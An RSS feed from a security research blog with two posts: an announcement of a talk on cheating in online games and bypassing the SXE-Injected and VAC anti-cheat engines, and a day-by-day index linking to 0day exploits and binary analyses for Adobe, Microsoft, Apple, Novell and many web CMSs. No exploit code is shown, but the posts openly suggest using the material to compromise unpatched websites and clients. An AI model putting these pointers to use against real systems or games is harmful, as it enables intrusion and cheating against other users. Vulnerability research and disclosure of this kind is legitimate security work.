<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Research &#187; security</title>
	<atom:link href="http://www.abysssec.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Tue, 31 Jan 2012 15:52:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hacking / Exploiting / Cheating in Online Games</title>
		<link>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/</link>
		<comments>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 15:00:39 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aimbot]]></category>
		<category><![CDATA[Aimbot.dll]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[cheat]]></category>
		<category><![CDATA[counter strike]]></category>
		<category><![CDATA[cs 1.6]]></category>
		<category><![CDATA[flashhack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[half-life]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[noflash]]></category>
		<category><![CDATA[nosmoke]]></category>
		<category><![CDATA[ring0]]></category>
		<category><![CDATA[shahin]]></category>
		<category><![CDATA[smokehack]]></category>
		<category><![CDATA[speedhack]]></category>
		<category><![CDATA[SXE 11.6]]></category>
		<category><![CDATA[SXE 11.6 Fix 2]]></category>
		<category><![CDATA[SXE-Injected]]></category>
		<category><![CDATA[unhook]]></category>
		<category><![CDATA[VAC]]></category>
		<category><![CDATA[VAC 2]]></category>
		<category><![CDATA[Valve Anti Cheat]]></category>
		<category><![CDATA[wallhack]]></category>
		<category><![CDATA[world of warcraft]]></category>
		<category><![CDATA[wow]]></category>
		<category><![CDATA[WPE]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1263</guid>
		<description><![CDATA[Hello to all readers. we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in immunity infiltrate and as we missed that so here we go . &#160; This research is about hacking [...]]]></description>
			<content:encoded><![CDATA[<p>Hello to all readers.</p>
<p>we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in <a href="https://www.immunityinc.com/infiltrate/" target="_blank"> <span style="color: #ff0000;"><strong>immunity infiltrate</strong></span></a> and as we missed that so here we go .</p>
<p>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/3-21-2011-6-01-12-PM1.png"><img class="aligncenter" title="3-21-2011 6-01-12 PM" src="http://www.abysssec.com/blog/wp-content/uploads/2011/03/3-21-2011-6-01-12-PM1-300x148.png" alt="" width="300" height="148" /></a></p>
<p>This research is about hacking /exploiting / cheating in online games and is sponsored by <span style="color: #ff0000;"><strong><a href="https://www.immunityinc.com/" target="_blank">immunity</a></strong></span>.</p>
<p>&nbsp;</p>
<p>This is a six part talk and contains:</p>
<p>&nbsp;</p>
<p>Part I   : introduction</p>
<p>Part II: Hacking Online Game Servers</p>
<p>Part III: Exploiting Online Games</p>
<p>Part IV: Cheating in Online games</p>
<p>Part V   : Creating your own cheats</p>
<p>Part VI: Bypassing anti-cheat engines</p>
<p>&nbsp;</p>
<p>Real world cheating is mainly focused on in this talk as it&#8217;s fun and legal.<br />
During this talk we will have a tour into all the ways to manipulate an online game<br />
and we will end up with bypassing the latest anti-cheating technologies and<br />
manipulating the game to our heart&#8217;s desire.</p>
<p>&nbsp;</p>
<p>Our case studies are:</p>
<p>&nbsp;</p>
<p>1 -counter strike (half-life) as game:</p>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter" title="Cstrike" src="http://www.straferight.com/photopost/data/500/counter-strike-logo.jpg" alt="" width="240" height="241" /></p>
<p>2- SXE-Injected and Valve-anti cheat (VAC) as anti-cheat engines</p>
<p style="text-align: center;"><img class="aligncenter" title="SXE-Injected" src="http://www.asosyalgenclik.net/sxe.png" alt="" width="240" height="240" /></p>
<p>Our codes will be release soon as soon we can but if you are hurry to use some cheats you can find almost all necessary codes in slides also there is two demos for proofing our research. We really enjoyed this research and it’s done from our side hope you enjoy too.</p>
<p>&nbsp;</p>
<p>You can download slides here:</p>
<p>ppt : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Exploiting-Online-Games.pptx" target="_blank">Exploiting-Online-Games</a></p>
<p>Font : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Purisa.zip" target="_blank">in case if you have problem with embedded one </a></p>
<p>PDF : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Exploiting-Online-Games.pdf" target="_blank">Exploiting-Online-Games</a></p>
<p>PS 1 : video demos are ready but due to those are huge we need to find a better way to compress them after that we will post them here.</p>
<p>PS 2 : Tools will be release after a while .</p>
<p>For getting updates about tools / videos please follow @abysssec in twitter.</p>
<p>&nbsp;</p>
<p>For any question please contact:</p>
<p>&nbsp;</p>
<p>Shahin [at] abysssec.com</p>
<p>&nbsp;</p>
<p>For any other requirement please contact:</p>
<p>&nbsp;</p>
<p>Info [at] abysssec.com</p>
<p>&nbsp;</p>
<p>Kind Regards</p>
<p style="text-align: left;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MOAUB – Day by Day</title>
		<link>http://www.abysssec.com/blog/2010/09/01/moaub-1/</link>
		<comments>http://www.abysssec.com/blog/2010/09/01/moaub-1/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 11:46:26 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[binary analysis]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploit-db]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MOAUB]]></category>
		<category><![CDATA[shahin]]></category>
		<category><![CDATA[shahin ramezany]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1212</guid>
		<description><![CDATA[Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well. Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications . here is summary: Day1: Binary Analysis: MOAUB #1 &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.exploit-db.com/images/MOAUB/MOAUB-1.png" alt="Month of all User Bugs" /></p>
<p>Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications .</p>
<p>here is summary:</p>
<p><strong>Day1:</strong></p>
<p>Binary Analysis:</p>
<p><strong><a href="http://www.exploit-db.com/exploits/14853">MOAUB #1 &#8211; Adobe Acrobat Reader and Flash Player “newclass” invalid pointer</a></strong></p>
<p><strong><a href="http://www.exploit-db.com/download_pdf/14863">MOAUB #1 &#8211; Adobe Acrobat Reader and Flash Player “newclass” invalid pointer &#8211; Binary Analysis</a></strong><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><strong><a href="http://www.exploit-db.com/exploits/14854">MOAUB #1 &#8211; Cpanel PHP Restriction Bypass Vulnerability 0day</a></strong></p>
<p><strong><a href="http://www.exploit-db.com/download_pdf/14864">MOAUB #1 &#8211; Cpanel PHP Restriction Bypass Vulnerability 0day</a></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day2:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14869">MOAUB #2 &#8211; Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability</a></p>
<p><a href="http://www.exploit-db.com/download_pdf/14871">MOAUB #2 &#8211; Apple QuickTime FlashPix NumberOfTiles Vulnerability &#8211; Binary Analysis</a></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14870">MOAUB #2 &#8211; Rainbowportal Multiple Remote Vulnerabilities</a></p>
<p><a href="http://www.exploit-db.com/download_pdf/14872">MOAUB #2 &#8211; Rainbowportal Multiple Remote Vulnerabilities – 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day3:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14878">MOAUB #3 &#8211; Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14881">MOAUB #3 &#8211; Trend Micro Internet Security Pro 2010 ActiveX extSetOwner &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14879">MOAUB #3 &#8211; Visinia 1.3 Multiple Vulnerabilities</a></span><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14880">MOAUB #3 &#8211; Visinia CMS Multiple Vulnerabilities &#8211; 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day4:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14886">MOAUB #4 &#8211; Movie Maker Remote Code Execution (MS10-016)</a><strong> </strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14889">MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) &#8211; Binary Analysis</a></span><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14887">MOAUB #4 &#8211; syndeocms 2.8.02 Multiple Vulnerabilities</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14888">MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities &#8211; 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day5:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14895">MOAUB #5 &#8211; Microsoft MPEG Layer-3 Remote Command Execution Exploit</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14899">MOAUB #5 &#8211; Microsoft MPEG Layer-3 Remote Command Execution &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14898">MOAUB #5 &#8211; IfNuke Multiple Remote Vulnerabilities 0day</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14900">MOAUB #5 &#8211; IfNuke Multiple Remote Vulnerabilities 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day6:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14916">MOAUB #6 &#8211; HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14918">MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14915">MOAUB #6 &#8211; InterPhoto Gallery Multiple Remote Vulnerabilities</a></span><strong> </strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14917">MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities &#8211; 0day</a></span><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day7:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14928">MOAUB #7 &#8211; Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14930">MOAUB #7 &#8211; Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14927">MOAUB #7 &#8211; DynPage &lt;= v1.0 Multiple Remote Vulnerabilities &#8211; 0day</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14929">MOAUB #7 &#8211; DynPage &lt;= v1.0 Multiple Remote Vulnerabilities &#8211; 0day</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day8:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14944">MOAUB #8 &#8211; Microsoft Office Visio DXF File Stack based Overflow</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14946">MOAUB #8 &#8211; Microsoft Office Visio DXF File Stack based Overflow &#8211; Binary Analysis</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14943">MOAUB #8 &#8211; Sirang Web-Based D-Control Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14945">MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities &#8211; 0 day</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day9:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/14950">MOAUB #9 &#8211; Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14949">MOAUB #9 &#8211; Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14948">FestOS CMS 2.3b Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14951">MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day10:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14956">MOAUB #10 &#8211; Excel RTD Memory Corruption</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14966">MOAUB #10 &#8211; Excel RTD Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14954">MOAUB #10 &#8211; aradBlog Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14957">MOAUB #10 &#8211; aradBlog Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day11:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/14972">MOAUB #11 &#8211; Microsoft Office Word 2007 sprmCMajority Buffer Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14971">MOAUB #11 &#8211; Microsoft Office Word 2007 sprmCMajority Buffer Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14969">MOAUB #11 &#8211; ASP Nuke SQL Injection Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14970">MOAUB #11 &#8211; ASP Nuke Sql Injection Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day12:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14982">MOAUB #12 &#8211; Adobe Acrobat and Reader &#8220;pushstring&#8221; Memory Corruption</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14983">MOAUB #12 &#8211; Adobe Acrobat and Reader “pushstring” Memory Corruption</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14980">MOAUB #12 &#8211; eshtery CMS SQL Injection Vulnerability</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14981">MOAUB #12 &#8211; eshtery CMS SQL Injection Vulnerability</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day13:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14992">MOAUB #13 &#8211; RealPlayer FLV Parsing Integer Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14994">MOAUB #13 &#8211; RealPlayer FLV Parsing Integer Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14991">MOAUB #13 &#8211; Luftguitar CMS Vulnerability: Upload Arbitrary File</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14993">MOAUB #13 &#8211; Luftguitar CMS Vulnerability: Upload Arbitrary File</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day14:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/15002">MOAUB #14 &#8211; Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15001">MOAUB #14 &#8211; Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14999">MOAUB #14 &#8211; FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15000">MOAUB #14 &#8211; FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day15:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15008">MOAUB #15 &#8211; Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15009">MOAUB #15 &#8211; Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15011">MOAUB #15 &#8211; PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15012">MOAUB #15 &#8211; PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day16:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15019">MOAUB #16 &#8211; Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15021">MOAUB #16 &#8211; Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15020">MOAUB #16 &#8211; mojoportal Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15018">MOAUB #16 &#8211; mojoportal Multiple Remote Vulnerabilities</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day17:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15027">MOAUB #17 &#8211; Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15028">MOAUB #17 &#8211; Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution</a><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15030">MOAUB #17 &#8211; phpmyfamily Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15029">MOAUB #17 &#8211; phpmyfamily Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day18:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15035">MOAUB #18 &#8211; Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15036">MOAUB #18 &#8211; Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15037">MOAUB #18 &#8211; CMSimple XSRF Vulnerability</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/15038">MOAUB #18- CMSimple XSRF Vulnerability</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day19:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15042">MOAUB #19 &#8211; Novell iPrint Client Browser Plugin call-back-url Stack Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15043">MOAUB #19 &#8211; Novell iPrint Client Browser Plugin call-back-url Stack Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15044">MOAUB #19 &#8211; JMD-CMS Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15045">MOAUB #19 &#8211; JMD-CMS Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day20:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/15056">MOAUB #20 &#8211; Java CMM readMabCurveData Stack Overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15057">MOAUB #20 &#8211; Java CMM readMabCurveData Stack Overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15059">MOAUB #20 &#8211; VWD-CMS CSRF Vulnerability</a></span><strong></strong></p>
<p><a href="http://www.exploit-db.com/exploits/15058">MOAUB #20 &#8211; VWD-CMS CSRF Vulnerability</a></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong> </strong></p>
<p><strong>Day21:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15066">MOAUB #21 &#8211; Microsoft Excel WOPT Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/15065">MOAUB #21 &#8211; Microsoft Excel WOPT Record Parsing Heap Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/15067">MOAUB #21 &#8211; Personal.Net Portal Multiple Vulnerabilities</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/15068">MOAUB #21 &#8211; Personal.Net Portal Multiple Vulnerabilities</a></span><strong></strong></p>
